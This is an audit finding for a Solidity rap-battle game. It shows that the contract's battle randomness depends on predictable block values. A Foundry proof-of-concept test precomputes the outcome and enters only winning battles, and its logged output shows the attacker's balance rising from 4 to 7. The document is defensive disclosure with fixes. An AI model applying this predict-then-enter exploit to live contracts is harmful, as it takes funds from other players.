Summary
The RapBattle::_battle()
function uses deterministic values for randomness, letting attackers join battles risk-free.
Vulnerability Details
RapBattle::_battle()
uses deterministic values like block.timestamp, block.prevrando, and msg.sender to calculate a random number,
known to all. An attacker can create a contract an exploit this by pre-checking if they can win before joining the battle, ensuring
no risk of loss.
function _battle(uint256 _tokenId, uint256 _credBet) internal {
address _defender = defender;
require(defenderBet == _credBet, "RapBattle: Bet amounts do not match");
uint256 defenderRapperSkill = getRapperSkill(defenderTokenId);
uint256 challengerRapperSkill = getRapperSkill(_tokenId);
uint256 totalBattleSkill = defenderRapperSkill + challengerRapperSkill;
uint256 totalPrize = defenderBet + _credBet;
@> uint256 random =
@> uint256(keccak256(abi.encodePacked(block.timestamp, block.prevrandao, msg.sender))) % totalBattleSkill;
defender = address(0);
emit Battle(msg.sender, _tokenId, random < defenderRapperSkill ? _defender : msg.sender);
@> if (random <= defenderRapperSkill) {
credToken.transfer(_defender, defenderBet);
credToken.transferFrom(msg.sender, _defender, _credBet);
} else {
credToken.transfer(msg.sender, _credBet);
}
totalPrize = 0;
oneShotNft.transferFrom(address(this), _defender, defenderTokenId);
}
Impact
Here's a fuzz test: the attacker checks if they can win the battle before calling rapBattle.goOnStageOrBattle
. The assert ensures
that the test fails if the attacker's balance increases after the battle.
function testNoRandom(uint256 randomTime) public twoSkilledRappers {
vm.warp(randomTime);
console.log("Attacker balance before :", cred.balanceOf(address(challenger)));
vm.startPrank(user);
oneShot.approve(address(rapBattle), 0);
cred.approve(address(rapBattle), 3);
rapBattle.goOnStageOrBattle(0, 3);
vm.stopPrank();
uint256 defenderRapperSkill = rapBattle.getRapperSkill(0);
uint256 challengerRapperSkill = rapBattle.getRapperSkill(1);
uint256 totalBattleSkill = defenderRapperSkill + challengerRapperSkill;
uint256 random = uint256(keccak256(abi.encodePacked(block.timestamp, block.prevrandao, address(challenger)))) % totalBattleSkill;
@> if (random > defenderRapperSkill) {
vm.startPrank(challenger);
oneShot.approve(address(rapBattle), 1);
cred.approve(address(rapBattle), 3);
rapBattle.goOnStageOrBattle(1, 3);
vm.stopPrank();
console.log("Attacker balance after :", cred.balanceOf(address(challenger)));
assert(cred.balanceOf(address(challenger)) == 4);
}
}
Output
Logs:
Attacker balance before : 4
Attacker balance after : 7
Tools Used
Manual review and Foundry
Recommendations
For secure on-chain random number generation, consider external oracles, verifiable off-chain computations, or robust cryptographic
methods like commit-reveal schemes and VRFs.